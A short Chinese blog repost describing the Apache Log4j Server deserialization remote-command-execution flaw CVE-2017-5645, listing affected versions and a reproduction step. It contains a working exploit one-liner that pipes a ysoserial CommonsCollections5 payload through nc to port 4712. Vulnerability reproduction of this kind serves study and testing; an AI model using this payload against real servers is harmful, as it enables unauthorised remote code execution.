我是靠谱客的博主 傲娇小土豆，最近开发中收集的这篇文章主要介绍Apache Log4j Server 反序列化命令执行漏洞（CVE-2017-5645），觉得挺不错的，现在分享给大家，希望可以做个参考。
概述
影响范围
Apache Log4j 2.8.2之前的2.x版本
漏洞复现
使用ysoserial生成payload，然后直接发送给your-ip:4712端口即可
java -jar ysoserial.jar CommonsCollections5 "touch /tmp/success" | nc your-ip 4712
返回容器查看
最后
以上就是傲娇小土豆为你收集整理的Apache Log4j Server 反序列化命令执行漏洞（CVE-2017-5645）的全部内容，希望文章能够帮你解决Apache Log4j Server 反序列化命令执行漏洞（CVE-2017-5645）所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错，欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供，作为学习参考使用，或来自网络收集整理，版权属于原作者所有。
发表评论 取消回复